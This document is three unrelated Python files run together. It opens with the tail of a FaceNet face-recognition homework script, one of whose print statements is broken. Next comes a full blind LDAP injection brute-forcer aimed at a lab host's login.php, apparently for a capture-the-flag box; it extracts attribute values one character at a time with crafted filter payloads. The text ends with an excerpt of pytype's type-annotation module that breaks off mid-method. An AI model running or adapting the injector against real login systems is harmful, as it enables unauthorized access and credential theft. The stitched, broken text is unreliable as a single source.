    loss = y * tf.math.square(y_pred) + (1.0 - y) * tf.math.square(
        tf.math.maximum(margin - y_pred, 0.0)
    )

    #### Question (b): your implementation ends here (don't delete this line)

    return loss

def triplet_loss(anchor, emb1, emb2, margin=1.0):
    """
    Compute the contrastive loss for two embeddings

    Inputs:
    - anchor: embedding of a face which to be the standard
    - emb1: embedding of a positive face
    - emb2: embedding of a negative face

    Returns:
    - loss
    """

    #### Question (c): your implementation starts here (don't delete this line)
    d_pos = tf.reduce_sum(tf.square(anchor - emb1))
    d_neg = tf.reduce_sum(tf.square(anchor - emb2))

    loss = tf.maximum(0., margin + d_pos - d_neg)
    loss = tf.reduce_mean(loss)

    #### Question (c): your implementation ends here (don't delete this line)

    return loss

def main():

    # load train dataset
    trainX, trainy = load_dataset('./LFW/train/')
    print(trainX.shape, trainy.shape)
    # load test dataset
    testX, testy = load_dataset('./LFW/val/')
    print(testX.shape, testy.shape)

    # load the pre-trained facenet model
    model = load_model('facenet_keras.h5', compile=False)

    # convert each face in the train set to an embedding
    print('[INFO] calculating train data embedding ...')
    newTrainX = list()
    for face_pixels in tqdm(trainX):
        embedding = get_embedding(model, face_pixels)
        newTrainX.append(embedding)
    trainX = asarray(newTrainX)
    # convert each face in the test set to an embedding
    print('[INFO] calculating test data embedding ...')
    newTestX = list()
    for face_pixels in tqdm(testX):
        embedding = get_embedding(model, face_pixels)
        newTestX.append(embedding)
    testX = asarray(newTestX)

    # normalize input vectors
    in_encoder = Normalizer(norm='l2')
    trainX = in_encoder.transform(trainX)
    testX = in_encoder.transform(testX)
    # label encode targets
    out_encoder = LabelEncoder()
    out_encoder.fit(trainy)
    trainy = out_encoder.transform(trainy)
    testy = out_encoder.transform(testy)

    '''
    Generate linear classifier model which name is 'model'
    '''
    #### Question (a): your implementation starts here (don't delete this line)

    model = SVC(gamma='auto', verbose=True)

    #### Question (a): your implementation ends here (don't delete this line)

    # train
    print('[INFO] model is training ...')
    model.fit(trainX, trainy)
    print('[INFO] training is done.')
    # predict
    yhat_train = model.predict(trainX)
    yhat_test = model.predict(testX)
    # score
    score_train = accuracy_score(trainy, yhat_train)
    score_test = accuracy_score(testy, yhat_test)
    # summarize
    print('Accuracy: train=%.3f, test=%.3f' % (score_train*100, score_test*100))

    #loss function test with sample data
    print('Contrastive loss for same face: f' % (contrastive_loss(1,trainX[0], trainX[1])))
    print('Contrastive loss for different face: f' % (contrastive_loss(0,trainX[0], trainX[100])))
    print('Triplet loss: f' % (triplet_loss(trainX[0], trainX[0], trainX[100])))

if __name__ == '__main__':
  main()


#!/usr/bin/python
from bs4 import BeautifulSoup
import requests
import time
import sys
import urllib
from itertools import chain
import argparse

url = "http://10.10.10.122/login.php"
startUrl = "http://10.10.10.122/"
proxyValues = {'http': 'http://127.0.0.1:8080'}
SLEEP_VALUE = 3
lower_letters = range(97,123)
upper_letters = range(65,91)
number_set = range(48,58)

#r= requests.get(url)
#sessionCookie = r.cookies
#print (r.text)
testRange = range(107,109)

#print ("*** Sleeping for %d seconds***" % SLEEPVALUE)
#time.sleep(SLEEPVALUE) #sleep little baby

def findLDAPAttribute(sessionID, lineList, pl,fullRange):
	failedList = []
	foundAttributeDict = {}
	foundAttribute = ''
	foundValue =''

	#fullRange = chain(lower_letters)
	headerValues = {'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
		'Accept' :'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'en-US,en;q=0.5',
		'Accept-Encoding': 'gzip, deflate',
		'Referer': 'http://10.10.10.122/login.php',
		'Connection': 'close'}

	#iterate through attributes
	for i in lineList:

		token = ''
		#payload = 'ldapuser)(|(' + i +'=*)'
		#payload = pre + i + post
		giveUp = False;
		fullIteration = 0
		while (giveUp!= True):
			fullIteration=len(token)
			for character in fullRange:

				payload = pl.format(i,token+chr(character)+'*')
				#double url encoding is needed

				print ("trying payload %s" % payload)
				payload = urllib.parse.quote_plus(payload)

				reqdata = {'inputUsername' : payload, 'inputOTP': '123456'}
				with requests.session() as s:
					try:
						s.keep_alive = False
						r = s.post(url,cookies={'PHPSESSID':sessionID}, data=reqdata, headers=headerValues, proxies=proxyValues)
						#non proxy -
						#r = s.post(url,cookies={'PHPSESSID':sessionID}, data=reqdata, headers=headerValues)
					except Exception as e:
						print(repr(e))
						failedList.append(i)
					finally:
						s.close()
				#looking for result
				soup = BeautifulSoup(r.text, 'html.parser')
				resultSet = soup.findAll( "div", {"class":"col-sm-10"})
				if len(resultSet[0].text) > 1:
					#if we end up with the failed double url decoding in result, then we need to ignore it
					if "%" not in resultSet[0].text:
						#"Cannot login" is the indicator for the blind injection
						#add the current character to our token
						token += chr(character)
						print ("Found a value in attribute %s of value %s" % (i,token))
						foundAttribute = i
						foundValue = resultSet[0].text

				else:
					print ("no value for %s on length %d with length %d" % (i,len(resultSet[0].text), len(r.text) ))
				time.sleep(SLEEP_VALUE)
			#if the length of the token has not increased, then we're out of options..
			if (len(token) == fullIteration):
				giveUp=True #move to the next attribute
			print ("We are at %s" %token)

		if len(token) > 0:
			foundAttributeDict.update({foundAttribute:token})
		print ("All done! values are %s : %s" % (foundAttribute,token))
		finalVal = "Attribute is [" + foundAttribute + "] with value [" + token +"]"
		if len (failedList) > 0:
			print ("We failed on attributes " + str(failedList))

	for keys,value in foundAttributeDict.items():
		print (keys, value)
	return foundAttributeDict
def main():

	parser = argparse.ArgumentParser(description='blind ldap injector')
	parser.add_argument('--option', '-o', help = "1-Upper,2-Lower,3-Numbers,4-LowerNumbers,5-all", required=True, choices={1,2,3,4,5}, type=int)
	parser.add_argument('--attribFile', '-f', help = "attribute file", required=True)
	parser.add_argument('--sessionID', '-s', help = "phpsession id", required= True)
	args = parser.parse_args()
	sessionID = args.sessionID
	filename = args.attribFile
	options = args.option
	#filename = sys.argv[1]
	with open (filename,'r') as f:
		#lineList = f.readlines()
		lineList = [line.rstrip() for line in f]
	#sessionID  = 'e3i2o514r6ltme1cno3skji8s7'
	print ("Starting with SessionID %s Filename %s Option - %d" % (sessionID,filename,options))
	fullRange = ''
	if options == 1: fullRange = upper_letters
	elif options == 2: fullRange =lower_letters
	elif options==3: fullRange = number_set
	elif options==4: fullRange =chain(lower_letters,number_set)
	elif options==5: fullRange = chain(upper_letters,lower_letters,number_set)

	print (fullRange)

	#testcase = findLDAPAttribute(sessionID,lineList,'*)(','=ldapuser)')
	#print (testcase)

	#lets look for attributes based on the payload *)
	payload = '*)({0}={1}'
	testcase = findLDAPAttribute(sessionID,lineList,payload,fullRange)
#	print (foundAttributeDict)

	payload = 'ldapuser)({0}={1}'
	testcase =findLDAPAttribute(sessionID,lineList,payload,fullRange)
	#this test case works - can get "CANNOT LOGIN" for cn=ldauser*
	#testcase = findLDAPAttribute(sessionID,lineList,'*)(','=ldapuse*')
	#print (testcase)
if __name__ == '__main__':
	sys.exit(main())
	#print ("Message is of length %d and is [%s]" % (len(resultSet[0].text), resultSet[0].text))
	#print (r.text)


"""Constructs related to type annotations."""

import dataclasses
import logging
import typing
from typing import Mapping, Optional, Set, Tuple, Type, Union as _Union

from pytype import datatypes
from pytype.abstract import _base
from pytype.abstract import _classes
from pytype.abstract import _instance_base
from pytype.abstract import abstract_utils
from pytype.abstract import function
from pytype.abstract import mixin
from pytype.pytd import pytd_utils

log = logging.getLogger(__name__)

def _get_container_type_key(container):
  try:
    return container.get_type_key()
  except AttributeError:
    return container

class AnnotationClass(_instance_base.SimpleValue, mixin.HasSlots):
  """Base class of annotations that can be parameterized."""

  def __init__(self, name, ctx):
    super().__init__(name, ctx)
    mixin.HasSlots.init_mixin(self)
    self.set_native_slot("__getitem__", self.getitem_slot)

  def getitem_slot(self, node, slice_var):
    """Custom __getitem__ implementation."""
    slice_content = abstract_utils.maybe_extract_tuple(slice_var)
    inner, ellipses = self._build_inner(slice_content)
    value = self._build_value(node, tuple(inner), ellipses)
    return node, value.to_variable(node)

  def _build_inner(self, slice_content):
    """Build the list of parameters.

    Args:
      slice_content: The iterable of variables to extract parameters from.

    Returns:
      A tuple of a list of parameters and a set of indices at which an ellipsis
        was replaced with Any.
    """
    inner = []
    ellipses = set()
    for var in slice_content:
      if len(var.bindings) > 1:
        self.ctx.errorlog.ambiguous_annotation(self.ctx.vm.frames, var.data)
        inner.append(self.ctx.convert.unsolvable)
      else:
        val = var.bindings[0].data
        if val is self.ctx.convert.ellipsis:
          # Ellipses are allowed only in special cases, so turn them into Any
          # but record the indices so we can check if they're legal.
          ellipses.add(len(inner))
          inner.append(self.ctx.convert.unsolvable)
        else:
          inner.append(val)
    return inner, ellipses

  def _build_value(self, node, inner, ellipses):
    raise NotImplementedError(self.__class__.__name__)

  def __repr__(self):
    return f"AnnotationClass({self.name})"

  def _get_class(self):
    return self.ctx.convert.type_type

class AnnotationContainer(AnnotationClass):
  """Implementation of X[...] for annotations."""

  def __init__(self, name, ctx, base_cls):
    super().__init__(name, ctx)
    self.base_cls = base_cls

  def __repr__(self):
    return f"AnnotationContainer({self.name})"

  def _sub_annotation(
      self, annot: _base.BaseValue, subst: Mapping[str, _base.BaseValue],
      seen: Optional[Set[_base.BaseValue]] = None,
  ) -> _base.BaseValue:
    """Apply type parameter substitutions to an annotation."""
    # This is very similar to annotation_utils.sub_one_annotation, but a couple
    # differences make it more convenient to maintain two separate methods:
    # - subst here is a str->BaseValue mapping rather than str->Variable, and it
    #   would be wasteful to create variables just to match sub_one_annotation's
    #   expected input type.
    # - subst contains the type to be substituted in, not an instance of it.
    #   Again, instantiating the type just to later get the type of the instance
    #   is unnecessary extra work.
    if seen is None:
      seen = set()
    if annot in seen:
      return annot.ctx.convert.unsolvable
    seen = seen | {annot}
    if isinstance(annot, TypeParameter):
      if annot.full_name in subst:
        return subst[annot.full_name]
      else:
        return self.ctx.convert.unsolvable
    elif isinstance(annot, mixin.NestedAnnotation):
      inner_types = [(key, self._sub_annotation(val, subst, seen))
                     for key, val in annot.get_inner_types()]
      return annot.replace(inner_types)
    return annot

  def _get_value_info(
      self, inner, ellipses, allowed_ellipses=frozenset()
  ) -> Tuple[Tuple[_Union[int, str], ...], Tuple[_base.BaseValue, ...],
             Type[_classes.ParameterizedClass]]:
    """Get information about the container's inner values.

    Args:
      inner: The list of parameters from _build_inner().
      ellipses: The set of ellipsis indices from _build_inner().
      allowed_ellipses: Optionally, a set of indices at which ellipses are
        allowed. If omitted, ellipses are assumed to be never allowed.

    Returns:
      A tuple of the template, the parameters, and the container class.
    """
    if self.base_cls.full_name == "typing.Protocol":
      return abstract_utils.build_generic_template(inner, self) + (
          _classes.ParameterizedClass,)  # pytype: disable=bad-return-type
    if isinstance(self.base_cls, _classes.TupleClass):
      template = tuple(range(self.base_cls.tuple_length))
    elif isinstance(self.base_cls, _classes.CallableClass):
      template = tuple(range(self.base_cls.num_args)) + (abstract_utils.RET,)
    else:
      template = tuple(t.name for t in self.base_cls.template)
    self.ctx.errorlog.invalid_ellipses(self.ctx.vm.frames,
                                       ellipses - allowed_ellipses, self.name)
    last_index = len(inner) - 1
    if last_index and last_index in ellipses and len(inner) > len(template):
      # Even if an ellipsis is not allowed at this position, strip it off so
      # that we report only one error for something like 'List[int, ...]'
      inner = inner[:-1]
    if isinstance(self.base_cls, _classes.ParameterizedClass):
      # We're dealing with a generic type alias, e.g.:
      #   X = Dict[T, str]
      #   def f(x: X[int]): ...
      # We construct `inner` using both the new inner values and the ones
      # already in X, to end up with a final result of:
      #   template=(_K, _V)
      #   inner=(int, str)
      new_inner = []
      inner_idx = 0
      subst = {}
      # Note that we ignore any missing or extra values in inner for now; the
      # problem will be reported later by _validate_inner.
      for k in template:
        v = self.base_cls.formal_type_parameters[k]
        if v.formal:
          params = self.ctx.annotation_utils.get_type_parameters(v)
          for param in params:
            # If there are too few parameters, we ignore the problem for now;
            # it'll be reported when _build_value checks that the lengths of
            # template and inner match.
            if param.full_name not in subst and inner_idx < len(inner):
              subst[param.full_name] = inner[inner_idx]
              inner_idx += 1
          new_inner.append(self._sub_annotation(v, subst))
        else:
          new_inner.append(v)
      inner = tuple(new_inner)
      if isinstance(self.base_cls, _classes.TupleClass):
        template += (abstract_utils.T,)
        inner += (self.ctx.convert.merge_values(inner),)
      elif isinstance(self.base_cls, _classes.CallableClass):
        template = template[:-1] + (abstract_utils.ARGS,) + template[-1:]
        args = inner[:-1]
        inner = args + (self.ctx.convert.merge_values(args),) + inner[-1:]
      abstract_class = type(self.base_cls)
    else:
      abstract_class = _classes.ParameterizedClass
    return template, inner, abstract_class

  def _validate_inner(self, template, inner, raw_inner):
    """Check that the passed inner values are valid for the given template."""
    if (isinstance(self.base_cls, _classes.ParameterizedClass) and
        not abstract_utils.is_generic_protocol(self.base_cls)):
      # For a generic type alias, we check that the number of typevars in the
      # alias matches the number of raw parameters provided.
      template_length = raw_template_length = len(
          set(self.ctx.annotation_utils.get_type_parameters(self.base_cls)))
      inner_length = len(raw_inner)
      base_cls = self.base_cls.base_cls
    else:
      # In all other cases, we check that the final template length and
      # parameter count match, after any adjustments like flattening the inner
      # argument list in a Callable.
      template_length = len(template)
      raw_template_length = len(self.base_cls.template)
      inner_length = len(inner)
      base_cls = self.base_cls
    if inner_length != template_length:
      if not template:
        self.ctx.errorlog.not_indexable(
            self.ctx.vm.frames, base_cls.name, generic_warning=True)
      else:
        # Use the unprocessed values of `template` and `inner` so that the error
        # message matches what the user sees.
        if isinstance(self.base_cls, _classes.ParameterizedClass):
          error_template = None
        else:
          error_template = (t.name for t in base_cls.template)
        self.ctx.errorlog.wrong_annotation_parameter_count(
            self.ctx.vm.frames, self.base_cls, raw_inner, raw_template_length,
            error_template)
    else:
      if len(inner) == 1:
        val, = inner
        # It's a common mistake to index a container class rather than an
        # instance (e.g., list[0]).
        # We only check the "int" case, since string literals are allowed for
        # late annotations.
        if (isinstance(val, _instance_base.Instance) and
            val.cls == self.ctx.convert.int_type):
          # Don't report this error again.
          inner = (self.ctx.convert.unsolvable,)
          self.ctx.errorlog.not_indexable(self.ctx.vm.frames, self.name)
      # Check for a misused Final annotation
      if any(isinstance(val, FinalAnnotation) for val in inner):
        self.ctx.errorlog.invalid_final_type(self.ctx.vm.frames)
        inner = [val.annotation if isinstance(val, FinalAnnotation) else val
                 for val in inner]
    return inner

  def _build_value(self, node, inner, ellipses):
    if self.base_cls.is_late_annotation():
      # A parameterized LateAnnotation should be converted to another
      # LateAnnotation to delay evaluation until the first late annotation is
      # resolved. We don't want to create a ParameterizedClass immediately
      # because (1) ParameterizedClass expects its base_cls to be a
      # class_mixin.Class, and (2) we have to postpone error-checking anyway so
      # we might as well postpone the entire evaluation.
      printed_params = []
      added_typing_imports = set()
      for i, param in enumerate(inner):
        if i in ellipses:
          printed_params.append("...")
        else:
          typ = param.get_instance_type(node)
          annot, typing_imports = pytd_utils.MakeTypeAnnotation(typ)
          printed_params.append(annot)
          added_typing_imports.update(typing_imports)

      expr = f"{self.base_cls.expr}[{', '.join(printed_params)}]"
      annot = LateAnnotation(expr, self.base_cls.stack, self.ctx,
                             typing_imports=added_typing_imports)
      self.ctx.vm.late_annotations[self.base_cls.expr].append(annot)
      return annot
    template, processed_inner, abstract_class = self._get_value_info(
        inner, ellipses)
    if isinstance(self.base_cls, _classes.ParameterizedClass):
      base_cls = self.base_cls.base_cls
    else:
      base_cls = self.base_cls
    if base_cls.full_name in ("typing.Generic", "typing.Protocol"):
      # Generic is unique in that parameterizing it defines a new template;
      # usually, the parameterized class inherits the base class's template.
      # Protocol[T, ...] is a shorthand for Protocol, Generic[T, ...].
      template_params = [
          param.with_scope(base_cls.full_name)
          for param in typing.cast(Tuple[TypeParameter, ...], processed_inner)]
    else:
      template_params = None
    processed_inner = self._validate_inner(template, processed_inner, inner)
    params = {
        name: (processed_inner[i]
               if i < len(processed_inner) else self.ctx.convert.unsolvable)
        for i, name in enumerate(template)
    }

    # Check if the concrete types match the type parameters.
    if base_cls.template:
      processed_params = self.ctx.annotation_utils.convert_class_annotations(
          node, params)
      for formal_param in base_cls.template:
        root_node = self.ctx.root_node
        param_value = processed_params[formal_param.name]
        if (isinstance(formal_param, TypeParameter) and
            not formal_param.is_generic() and
            isinstance(param_value, TypeParameter)):
          if formal_param.name == param_value.name:
            # We don't need to check if a TypeParameter matches itself.
            continue
          else:
            actual = param_value.instantiate(
                root_node, container=abstract_utils.DUMMY_CONTAINER)
        elif param_value.is_concrete and isinstance(param_value.pyval, str):
          expr = param_value.pyval
          annot = LateAnnotation(expr, self.ctx.vm.frames, self.ctx)
          base = expr.split("[", 1)[0]
          self.ctx.vm.late_annotations[base].append(annot)
          actual = annot.instantiate(root_node)
        else:
          actual = param_value.instantiate(root_node)
        match_result = self.ctx.matcher(node).compute_one_match(
            actual, formal_param)
        if not match_result.success:
          if isinstance(param_value, TypeParameter):
            # bad_matches replaces type parameters in the expected type with
            # their concrete values, which is usually what we want. But when the
            # actual type is a type parameter, then it's more helpful to show
            # the expected type as a type parameter as well.
            bad = []
            for match in match_result.bad_matches:
              expected = dataclasses.replace(match.expected, typ=formal_param)
              bad.append(dataclasses.replace(match, expected=expected))
            if isinstance(formal_param, TypeParameter):
              details = (f"TypeVars {formal_param.name} and {param_value.name} "
                         "have incompatible bounds or constraints.")
            else:
              details = None
          else:
            bad = match_result.bad_matches
            details = None
          self.ctx.errorlog.bad_concrete_type(
              self.ctx.vm.frames, root_node, bad, details)
          return self.ctx.convert.unsolvable

    try:
      return abstract_class(base_cls, params, self.ctx, template_params)
    except abstract_utils.GenericTypeError as e:
      self.ctx.errorlog.invalid_annotation(self.ctx.vm.frames, e.annot, e.error)
      return self.ctx.convert.unsolvable

  def call(self, node, func, args, alias_map=None):
    return self._call_helper(node, self.base_cls, func, args)

class _TypeVariableInstance(_base.BaseValue):
  """An instance of a type parameter."""

  def __init__(self, param, instance, ctx):
    super().__init__(param.name, ctx)
    self.cls = self.param = param
    self.instance = instance
    self.scope = param.scope

  @property
  def full_name(self):
    return f"{self.scope}.{self.name}" if self.scope else self.name

  def call(self, node, func, args, alias_map=None):
    var = self.instance.get_instance_type_parameter(self.name)
    if var.bindings:
      return function.call_function(self.ctx, node, var, args)
    else:
      return node, self.ctx.convert.empty.to_variable(self.ctx.root_node)

  def __eq__(self, other):
    if isinstance(other, type(self)):
      return self.param == other.param and self.instance == other.instance
    return NotImplemented

  def __hash__(self):
    return hash((self.param, self.instance))

  def __repr__(self):
    return f"{self.__class__.__name__}({self.name!r})"

class TypeParameterInstance(_TypeVariableInstance):
  """An instance of a TypeVar type parameter."""

class ParamSpecInstance(_TypeVariableInstance):
  """An instance of a ParamSpec type parameter."""

class _TypeVariable(_base.BaseValue):
  """Parameter of a type."""

  formal = True

  _INSTANCE_CLASS: Type[_TypeVariableInstance] = None

  def __init__(self,
               name,
               ctx,
               constraints=(),
               bound=None,
               covariant=False,
               contravariant=False,
               scope=None):
    super().__init__(name, ctx)
    # TODO(b/217789659): PEP-612 does not mention constraints, but ParamSpecs
    # ignore all the extra parameters anyway..
    self.constraints = constraints
    self.bound = bound
    self.covariant = covariant
    self.contravariant = contravariant
    self.scope = scope

  @_base.BaseValue.module.setter
  def module(self, module):
    super(_TypeVariable, _TypeVariable).module.fset(self, module)
    self.scope = module

  @property
  def full_name(self):
    return f"{self.scope}.{self.name}" if self.scope else self.name

  def is_generic(self):
    return not self.constraints and not self.bound

  def copy(self):
    return self.__class__(self.name, self.ctx, self.constraints, self.bound,
                          self.covariant, self.contravariant, self.scope)

  def with_scope(self, scope):
    res = self.copy()
    res.scope = scope
    return res

  def __eq__(self, other):
    if isinstance(other, type(self)):
      return (self.name == other.name and
              self.constraints == other.constraints and
              self.bound == other.bound and
              self.covariant == other.covariant and
              self.contravariant == other.contravariant and
              self.scope == other.scope)
    return NotImplemented

  def __ne__(self, other):
    return not self == other

  def __hash__(self):
    return hash((self.name, self.constraints, self.bound, self.covariant,
                 self.contravariant))

  def __repr__(self):
    return ("{!s}({!r}, constraints={!r}, bound={!r}, module={!r})"
            .format(self.__class__.__name__, self.name, self.constraints,
                    self.bound, self.scope))

  def instantiate(self, node, container=None):
    var = self.ctx.program.NewVariable()
    if container and (not isinstance(container, _instance_base.SimpleValue) or
                      self.full_name in container.all_template_names):
      instance = self._INSTANCE_CLASS(self, container, self.ctx)  # pylint: disable=not-callable
      return instance.to_variable(node)
    else:
      for c in self.constraints:
        var.PasteVariable(c.instantiate(node, container))
      if self.bound:
        var.PasteVariable(self.bound.instantiate(node, container))
    if not var.bindings:
      var.AddBinding(self.ctx.convert.unsolvable, [], node)
    return var

  def update_official_name(self, name):
    if self.name != name:
      message = (f"TypeVar({self.name!r}) must be stored as {self.name!r}, "
                 f"not {name!r}")
      self.ctx.errorlog.invalid_typevar(self.ctx.vm.frames, message)

  def call(self, node, func, args, alias_map=None):
    return node, self.instantiate(node)

class TypeParameter(_TypeVariable):
  """Parameter of a type (typing.TypeVar)."""

  _INSTANCE_CLASS = TypeParameterInstance

class ParamSpec(_TypeVariable):
  """Parameter of a callable type (typing.ParamSpec)."""

  _INSTANCE_CLASS = ParamSpecInstance

class ParamSpecArgs(_base.BaseValue):
  """ParamSpec.args."""

  def __init__(self, paramspec, ctx):
    super().__init__(f"{paramspec.name}.args", ctx)
    self.paramspec = paramspec

  def instantiate(self, node, container=None):
    return self.to_variable(node)

class ParamSpecKwargs(_base.BaseValue):
  """ParamSpec.kwargs."""

  def __init__(self, paramspec, ctx):
    super().__init__(f"{paramspec.name}.kwargs", ctx)
    self.paramspec = paramspec

  def instantiate(self, node, container=None):
    return self.to_variable(node)

class Concatenate(_base.BaseValue):
  """Concatenation of args and ParamSpec."""

  def __init__(self, params, ctx):
    super().__init__("Concatenate", ctx)
    self.args = params[:-1]
    self.paramspec = params[-1]

  @property
  def full_name(self):
    return self.paramspec.full_name

  def instantiate(self, node, container=None):
    return self.to_variable(node)

  @property
  def num_args(self):
    return len(self.args)

  def get_args(self):
    # Satisfies the same interface as abstract.CallableClass
    return self.args

  def __repr__(self):
    args = ", ".join(list(map(repr, self.args)) + [self.paramspec.name])
    return f"Concatenate[{args}]"

class Union(_base.BaseValue, mixin.NestedAnnotation, mixin.HasSlots):
  """A list of types.

  Used for parameter matching.

  Attributes:
    options: Iterable of instances of BaseValue.
  """

  def __init__(self, options, ctx):
    super().__init__("Union", ctx)
    assert options
    self.options = list(options)
    self.cls = self._get_class()
    self._printing = False
    self._instance_cache = {}
    mixin.NestedAnnotation.init_mixin(self)
    mixin.HasSlots.init_mixin(self)
    self.set_native_slot("__getitem__", self.getitem_slot)

  def __repr__(self):
    if self._printing:  # recursion detected
      printed_contents = "..."
    else:
      self._printing = True
      printed_contents = ", ".join(repr(o) for o in self.options)
      self._printing = False
    return f"{self.name}[{printed_contents}]"

  def __eq__(self, other):
    if isinstance(other, type(self)):
      return self.options == other.options
    return NotImplemented

  def __ne__(self, other):
    return not self == other

  def __hash__(self):
    # Use the names of the parameter values to approximate a hash, to avoid
    # infinite recursion on recursive type annotations.
    return hash(tuple(o.full_name for o in self.options))

  def _unique_parameters(self):
    return [o.to_variable(self.ctx.root_node) for o in self.options]

  def _get_class(self):
    classes = {o.cls for o in self.options}
    if len(classes) > 1:
      return self.ctx.convert.unsolvable
    else:
      return classes.pop()

  def getitem_slot(self, node, slice_var):
    """Custom __getitem__ implementation."""
    slice_content = abstract_utils.maybe_extract_tuple(slice_var)
    params = self.ctx.annotation_utils.get_type_parameters(self)
    num_params = len({x.name for x in params})
    # Check that we are instantiating all the unbound type parameters
    if num_params != len(slice_content):
      self.ctx.errorlog.wrong_annotation_parameter_count(
          self.ctx.vm.frames, self, [v.data[0] for v in slice_content],
          num_params)
      return node, self.ctx.new_unsolvable(node)
    concrete = (
        var.data[0].instantiate(node, container=abstract_utils.DUMMY_CONTAINER)
        for var in slice_content)
    subst = datatypes.AliasingDict()
    for p in params:
      for k in subst:
        if k == p.name or k.endswith(f".{p.name}"):
          subst.add_alias(p.full_name, k)
          break
      else:
        subst[p.full_name] = next(concrete)
    new = self.ctx.annotation_utils.sub_one_annotation(node, self, [subst])
    return node, new.to_variable(node)

  def instantiate(self, node, container=None):
    var = self.ctx.program.NewVariable()
    for option in self.options:
      k = (node, _get_container_type_key(container), option)
      if k in self._instance_cache:
        if self._instance_cache[k] is None:
          self._instance_cache[k] = self.ctx.new_unsolvable(node)
        instance = self._instance_cache[k]
      else:
        self._instance_cache[k] = None
        instance = option.instantiate(node, container)
        self._instance_cache[k] = instance
      var.PasteVariable(instance, node)
    return var

  def call(self, node, func, args, alias_map=None):
    var = self.ctx.program.NewVariable(self.options, [], node)
    return function.call_function(self.ctx, node, var, args)

  def get_formal_type_parameter(self, t):
    new_options = [option.get_formal_type_parameter(t)
                   for option in self.options]
    return Union(new_options, self.ctx)

  def get_inner_types(self):
    return enumerate(self.options)

  def update_inner_type(self, key, typ):
    self.options[key] = typ

  def replace(self, inner_types):
    return self.__class__((v for _, v in sorted(inner_types)), self.ctx)

class LateAnnotation:
  """A late annotation.

  A late annotation stores a string expression and a snapshot of the VM stack at
  the point where the annotation was introduced. Once the expression is
  resolved, the annotation pretends to be the resolved type; before that, it
  pretends to be an unsolvable. This effect is achieved by delegating attribute
  lookup with __getattribute__.

  Note that for late annotation x, `isinstance(x, ...)` and `x.__class__` will
  use the type that x is pretending to be; `type(x)` will reveal x's true type.
  Use `x.is_late_annotation()` to check whether x is a late annotation.
  """

  _RESOLVING = object()

  def __init__(self, expr, stack, ctx, *, typing_imports=None):
    self.expr = expr
    self.stack = stack
    self.ctx = ctx
    self.resolved = False
    # Any new typing imports the annotation needs while resolving.
    self._typing_imports = typing_imports or set()
    self._type = ctx.convert.unsolvable  # the resolved type of `expr`
    self._unresolved_instances = set()
    self._resolved_instances = {}
    # _attribute_names needs to be defined last! This contains the names of all
    # of LateAnnotation's attributes, discovered by looking at
    # LateAnnotation.__dict__ and self.__dict__. These names are used in
    # __getattribute__ and __setattr__ to determine whether a given get/setattr
    # call should operate on the LateAnnotation itself or its resolved type.
    self._attribute_names = (
        set(LateAnnotation.__dict__) |
        set(super().__getattribute__("__dict__")))

  def flatten_expr(self):
    """Flattens the expression into a legal variable name if necessary.

    Pytype stores parameterized recursive types in intermediate variables. If
    self is such a type, this method flattens self.expr into a string that can
    serve as a variable name. For example, 'MyRecursiveAlias[int, str]' is
    flattened into '_MyRecursiveAlias_LBAR_int_COMMA_str_RBAR'.

    Returns:
      If self is a parameterized recursive type, a flattened version of
      self.expr that is a legal variable name. Otherwise, self.expr unchanged.
    """
    if "[" in self.expr and self.is_recursive():
      # _DOT and _RBAR have no trailing underscore because they precede names
      # that we already prefix an underscore to.
      return "_" + self.expr.replace(".", "_DOT").replace(
          "[", "_LBAR_").replace("]", "_RBAR").replace(", ", "_COMMA_")
    return self.expr

  def unflatten_expr(self):
    """Unflattens a flattened expression."""
    if "_LBAR_" in self.expr:
      mod, dot, rest = self.expr.rpartition(".")
      # The [1:] slicing and trailing underscore in _DOT_ are to get rid of
      # leading underscores added when flattening.
      return mod + dot + rest[1:].replace("_DOT_", ".").replace(
          "_LBAR_", "[").replace("_RBAR", "]").replace("_COMMA_", ", ")
    return self.expr

  def __repr__(self):
    return "LateAnnotation({!r}, resolved={!r})".format(
        self.expr, self._type if self.resolved else None)

  # __hash__ and __eq__ need to be explicitly defined for Python to use them in
  # set/dict comparisons.

  def __hash__(self):
    return hash(self._type) if self.resolved else hash(self.expr)

  def __eq__(self, other):
    return hash(self) == hash(other)

  def __getattribute__(self, name):
    # We use super().__getattribute__ directly for attribute access to avoid a
    # performance penalty from this function recursively calling itself.
    get = super().__getattribute__
    if name == "_attribute_names" or name in get("_attribute_names"):
      return get(name)
    return get("_type").__getattribute__(name)  # pytype: disable=attribute-error

  def __setattr__(self, name, value):
    if not hasattr(self, "_attribute_names") or name in self._attribute_names:
      return super().__setattr__(name, value)
    return self._type.__setattr__(name, value)

  def resolve(self, node, f_globals, f_locals):
    """Resolve the late annotation."""
    if self.resolved:
      return
    # Sets resolved to a truthy value distinguishable from True so that
    # 'if self.resolved' is True when self is partially resolved, but code that
    # really needs to tell partially and fully resolved apart can do so.
    self.resolved = LateAnnotation._RESOLVING
    # Add implicit imports for typing, since we can have late annotations like
    # `set[int]` which get converted to `typing.Set[int]`.
    if self._typing_imports:
      overlay = self.ctx.vm.import_module("typing", "typing", 0)
      for v in self._typing_imports:
        if v not in f_globals.members:
          f_globals.members[v] = overlay.get_module(v).load_lazy_attribute(v)
    var, errorlog = abstract_utils.eval_expr(self.ctx, node, f_globals,
                                             f_locals, self.expr)
    if errorlog:
      self.ctx.errorlog.copy_from(errorlog.errors, self.stack)
    self._type = self.ctx.annotation_utils.extract_annotation(
        node, var, None, self.stack)
    if self._type != self.ctx.convert.unsolvable:
      # We may have tried to call __init__ on instances of this annotation.
      # Since the annotation was unresolved at the time, we need to call
      # __init__ again to define any instance attributes.
      for instance in self._unresolved_instances:
        if isinstance(instance.cls, Union):
          # Having instance.cls be a Union type will crash in attribute.py.
          # Setting it to Any picks up the annotation in another code path.
          instance.cls = self.ctx.convert.unsolvable
        else:
          self.ctx.vm.reinitialize_if_initialized(node, instance)
    self.resolved = True
    log.info("Resolved late annotation %r to %r", self.expr, self._type)

  def set_type(self, typ):
    # Used by annotation_utils.sub_one_annotation to substitute values into
    # recursive aliases.
    assert not self.resolved
    self.resolved = True
    self._type = typ

  def to_variable(self, node):
    if self.resolved:
      return self._type.to_variable(node)
    else:
      return _base.BaseValue.to_variable(self, node)  # pytype: disable=wrong-arg-types

  def instantiate(self, node, container=None):
    """Instantiate the pointed-to class, or record a placeholder instance."""
    if self.resolved:
      key = (node, _get_container_type_key(container))
